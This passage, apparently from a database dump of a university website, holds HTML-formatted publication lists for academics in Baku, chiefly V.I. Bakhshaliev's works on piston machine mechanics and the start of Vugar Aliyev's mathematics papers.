width=\"84\"><p>V.I.Bakhshaliev</p></td><td width=\"102\"><p>“Elm” Publisher, Baku<strong></strong></p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>270p.</p></td></tr><tr><td width=\"31\"><p>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Solution of problems of Theoretical Mechanics<strong></strong></p></td><td width=\"102\"><p>Textbook</p></td><td width=\"84\"><p>V.I.Bakhshaliev</p></td><td width=\"102\"><p>“Nurlan” Publisher<strong></strong></p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>222p.</p></td></tr><tr><td width=\"31\"><p>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Mechanics of Piston Machines</p></td><td width=\"102\"><p>Monograph</p></td><td width=\"84\"><p>V.I.Bakhshaliev</p></td><td width=\"102\"><p>Lambert Academic Publishing, Germany</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>320p.</p></td></tr><tr><td width=\"31\"><p>7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The problem of determination of the work of friction forces between piston rod and hermetic rings of a piston compressor machine</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\"><p>Journal of “Oil and Gas”</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>№ 6, p.80-85</p></td></tr><tr><td width=\"31\"><p>8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The problems of influence of construction parameters of a crank-piston mechanism to the mechanical loss in piston machine</p></td><td width=\"102\"><p>Conference Proceedings</p></td><td width=\"84\"><p>Kadirov N.B., Bakhshaliev V.I.</p></td><td width=\"102\"><p>Transactions of the International Conference “Wear and Friction in machines and methods of its elimination”, Moscow</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>p.138-139&nbsp;</p></td></tr><tr><td width=\"31\"><p>9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Definition of the forces acting on a crank-piston mechanism of a piston compressor machine</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>Kadirov N.B.,Bakhshaliev V.I.</p></td><td width=\"102\"><p>Transactions of Azerbaijan Technical University, Baku</p></td><td width=\"60\"><p>1986</p></td><td width=\"60\"><p>p.28-35</p></td></tr><tr><td width=\"31\"><p>10.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Definition of the friction force moment in friction bearing on the basis of hydrodynamic lubrication theory</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\"><p>Journal of “Oil and gas”</p></td><td width=\"60\"><p>1986</p></td><td width=\"60\"><p>№ 12, p.92-95</p></td></tr><tr><td width=\"31\"><p>11.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The problem of influence of Constructional&nbsp;and operational parameters to the mechanical loss in a piston compressor machine</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\"><p>Journal of “Azerbaijan Oil Industry”</p></td><td width=\"60\"><p>1986</p></td><td width=\"60\"><p>№ 12, p.56-58</p></td></tr><tr><td width=\"31\"><p>12.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The development of the method of calculation of mechanical losses in a piston compressor&nbsp;machine</p><p>&nbsp;</p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>Bakhshaliev&nbsp;V.I.</p></td><td width=\"102\"><p>Author’s abstract of dissertation, Baku</p></td><td width=\"60\"><p>1988</p></td><td width=\"60\"><p>22 pp.</p></td></tr><tr><td width=\"31\"><p>13.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Wear problems in cylinder of a piston compressor</p></td><td width=\"102\"><p>Conference Proceedings</p></td><td width=\"84\"><p>Bakhshaliev V.I.</p></td><td width=\"102\"><p>Transactions of the scientific conference “Tribotechnique of Oil Industry Equipment”, Baku</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>p.29-30</p></td></tr><tr><td width=\"31\"><p>14.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The research of the diametrical vibration on “floating” connecting rod</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>Bakhshaliev&nbsp;V.I.</p></td><td width=\"102\"><p>Journal of ”Machine building”, Moscow</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>№ 3-5, p.7-11</p></td></tr><tr><td width=\"31\"><p>15.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Determination of the equation of connecting rod motion respectively to the piston’s finger and crank. magazine</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\"><p>Journal of “Oil and gas”</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>№3, p.71-73</p></td></tr><tr><td width=\"31\"><p>16.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Influence of diametrical vibration of turret of lathe to the quality of treat</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>Babaev S.G., Bakhshaliev V.I., Kadirov A.R.</p></td><td width=\"102\"><p>The Scientific Collection of Azerbaijan Oil Academy, Baku</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>№1, p.8-5</p></td></tr><tr><td width=\"31\"><p>17.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The calculation of the longitudinal vibration of “floating” connecting rod of a crank – piston mechanism</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>Bakhshaliev&nbsp;V.I.,Mamebov R.T.</p></td><td width=\"102\"><p>Journal of Russian universities News ”Machine building”, Moscow</p></td><td width=\"60\"><p>1995</p></td><td width=\"60\"><p>№ 10-12, p.21-25</p></td></tr><tr><td width=\"31\"><p>18.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The problems of stability of “floating” connecting rod of a crank-piston mechanism</p><p>&nbsp;</p></td><td width=\"102\"><p>Conference Proceedings</p></td><td width=\"84\"><p>Bakhshaliev V.I.</p></td><td width=\"102\"><p>Proceedings of the 7<sup>th</sup>international machine design and production conference, Ankara, Turkey,</p><p>11-13 September,</p></td><td width=\"60\"><p>1996</p></td><td width=\"60\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1559,971,'az','Valeh Bakhshaliev','Valeh Bakhshaliev','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publications type/publication activities</strong></p></td><td width=\"84\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp;Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><p><strong>&nbsp;</strong></p></td><td width=\"167\"><p>Methods of Solution of Statics tasks<strong></strong></p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>N.B.Kadirov, V.I.Bakhshaliev</p></td><td width=\"102\"><p>AzTU, Baku</p></td><td width=\"60\"><p>1990</p></td><td width=\"60\"><p>71p.</p></td></tr><tr><td width=\"31\"><p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Methods of solution of impact&nbsp;problems</p><p>&nbsp;</p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>Kadirov N.B., Bakhshaliev V.I. and others</p></td><td width=\"102\"><p>Publisher of Azerbaijan Technical University Baku</p></td><td width=\"60\"><p>1994</p></td><td width=\"60\"><p>40p.</p></td></tr><tr><td width=\"31\"><p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Handout for testing questions of Theoretical Mechanics, I part</p><p>&nbsp;</p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>Bagirzade R.L., Bakhshaliev V.I. and others</p></td><td width=\"102\"><p>Publisher of Azerbaijan Technical University, Baku</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>70p.</p></td></tr><tr><td width=\"31\"><p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Handout for testing questions of Theoretical Mechanics, II part</p><p>&nbsp;</p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>Bagirzade R.L., Bakhshaliev V.I. and others</p></td><td width=\"102\"><p>Publisher of Azerbaijan Technical University, Baku</p></td><td width=\"60\"><p>2006</p></td><td width=\"60\"><p>70p.</p></td></tr><tr><td width=\"31\"><p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Dynamical analysis of Piston Machines<strong></strong></p></td><td width=\"102\"><p>Monograph</p></td><td width=\"84\"><p>V.I.Bakhshaliev</p></td><td width=\"102\"><p>“Elm” Publisher, Baku<strong></strong></p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>270p.</p></td></tr><tr><td width=\"31\"><p>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Solution of problems of Theoretical Mechanics<strong></strong></p></td><td width=\"102\"><p>Textbook</p></td><td width=\"84\"><p>V.I.Bakhshaliev</p></td><td width=\"102\"><p>“Nurlan” Publisher<strong></strong></p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>222p.</p></td></tr><tr><td width=\"31\"><p>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Mechanics of Piston Machines</p></td><td width=\"102\"><p>Monograph</p></td><td width=\"84\"><p>V.I.Bakhshaliev</p></td><td width=\"102\"><p>Lambert Academic Publishing, Germany</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>320p.</p></td></tr><tr><td width=\"31\"><p>7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The problem of determination of the work of friction forces between piston rod and hermetic rings of a piston compressor machine</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\"><p>Journal of “Oil and Gas”</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>№ 6, p.80-85</p></td></tr><tr><td width=\"31\"><p>8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The problems of influence of construction parameters of a crank-piston mechanism to the mechanical loss in piston machine</p></td><td width=\"102\"><p>Conference Proceedings</p></td><td width=\"84\"><p>Kadirov N.B., Bakhshaliev V.I.</p></td><td width=\"102\"><p>Transactions of the International Conference “Wear and Friction in machines and methods of its elimination”, Moscow</p></td><td width=\"60\"><p>1985</p></td><td width=\"60\"><p>p.138-139&nbsp;</p></td></tr><tr><td width=\"31\"><p>9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Definition of the forces acting on a crank-piston mechanism of a piston compressor machine</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>Kadirov N.B.,Bakhshaliev V.I.</p></td><td width=\"102\"><p>Transactions of Azerbaijan Technical University, Baku</p></td><td width=\"60\"><p>1986</p></td><td width=\"60\"><p>p.28-35</p></td></tr><tr><td width=\"31\"><p>10.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Definition of the friction force moment in friction bearing on the basis of hydrodynamic lubrication theory</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\"><p>Journal of “Oil and gas”</p></td><td width=\"60\"><p>1986</p></td><td width=\"60\"><p>№ 12, p.92-95</p></td></tr><tr><td width=\"31\"><p>11.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The problem of influence of Constructional&nbsp;and operational parameters to the mechanical loss in a piston compressor machine</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\"><p>Journal of “Azerbaijan Oil Industry”</p></td><td width=\"60\"><p>1986</p></td><td width=\"60\"><p>№ 12, p.56-58</p></td></tr><tr><td width=\"31\"><p>12.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The development of the method of calculation of mechanical losses in a piston compressor&nbsp;machine</p><p>&nbsp;</p></td><td width=\"102\"><p>Brochure</p></td><td width=\"84\"><p>Bakhshaliev&nbsp;V.I.</p></td><td width=\"102\"><p>Author’s abstract of dissertation, Baku</p></td><td width=\"60\"><p>1988</p></td><td width=\"60\"><p>22 pp.</p></td></tr><tr><td width=\"31\"><p>13.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Wear problems in cylinder of a piston compressor</p></td><td width=\"102\"><p>Conference Proceedings</p></td><td width=\"84\"><p>Bakhshaliev V.I.</p></td><td width=\"102\"><p>Transactions of the scientific conference “Tribotechnique of Oil Industry Equipment”, Baku</p></td><td width=\"60\"><p>1992</p></td><td width=\"60\"><p>p.29-30</p></td></tr><tr><td width=\"31\"><p>14.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The research of the diametrical vibration on “floating” connecting rod</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>Bakhshaliev&nbsp;V.I.</p></td><td width=\"102\"><p>Journal of ”Machine building”, Moscow</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>№ 3-5, p.7-11</p></td></tr><tr><td width=\"31\"><p>15.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Determination of the equation of connecting rod motion respectively to the piston’s finger and crank. magazine</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>KadirovN.B.,BakhshalievV.I.</p></td><td width=\"102\"><p>Journal of “Oil and gas”</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>№3, p.71-73</p></td></tr><tr><td width=\"31\"><p>16.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Influence of diametrical vibration of turret of lathe to the quality of treat</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>Babaev S.G., Bakhshaliev V.I., Kadirov A.R.</p></td><td width=\"102\"><p>The Scientific Collection of Azerbaijan Oil Academy, Baku</p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>№1, p.8-5</p></td></tr><tr><td width=\"31\"><p>17.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The calculation of the longitudinal vibration of “floating” connecting rod of a crank – piston mechanism</p><p>&nbsp;</p></td><td width=\"102\"><p>Journal article</p></td><td width=\"84\"><p>Bakhshaliev&nbsp;V.I.,Mamebov R.T.</p></td><td width=\"102\"><p>Journal of Russian universities News ”Machine building”, Moscow</p></td><td width=\"60\"><p>1995</p></td><td width=\"60\"><p>№ 10-12, p.21-25</p></td></tr><tr><td width=\"31\"><p>18.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>The problems of stability of “floating” connecting rod of a crank-piston mechanism</p><p>&nbsp;</p></td><td width=\"102\"><p>Conference Proceedings</p></td><td width=\"84\"><p>Bakhshaliev V.I.</p></td><td width=\"102\"><p>Proceedings of the 7<sup>th</sup>international machine design and production conference, Ankara, Turkey,</p><p>11-13 September,</p></td><td width=\"60\"><p>1996</p></td><td width=\"60\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1560,972,'az',' Vugar Aliyev',' Vugar Aliyev','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"595\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"28\"><p>#</p></td><td width=\"132\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publications type/publica</strong></p><p><strong>tion activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"85\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong></strong></p></td><td width=\"66\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On one &nbsp;boundary –value problem for fourth order operator-differential equations in Hilbert space</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>&nbsp;</p><p>&nbsp;</p><p>Thesis</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p>&nbsp;</p><p>Baku State</p><p>University, Baku</p></td><td width=\"66\"><p>&nbsp;</p><p>2001</p></td><td width=\"76\"><p>&nbsp;</p><p>76-77</p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On existence of solutions of one&nbsp; boundary –value problem for fourth order operator-differential equations on finite interval</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>&nbsp;</p><p>&nbsp;</p><p>Thesis</p></td><td width=\"85\"><p>&nbsp;</p><p>Vugar S. Aliyev</p></td><td width=\"104\"><p>&nbsp;</p><p>Baku State University, Baku</p></td><td width=\"66\"><p>&nbsp;</p><p>2001</p></td><td width=\"76\"><p>&nbsp;</p><p>19-20</p></td></tr><tr><td width=\"28\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"132\"><p>On the regular solvability of the boundary –value problems for the elliptic type operator-differential equations of the fourth order<strong></strong></p></td><td width=\"104\"><p>&nbsp;</p><p>Journal 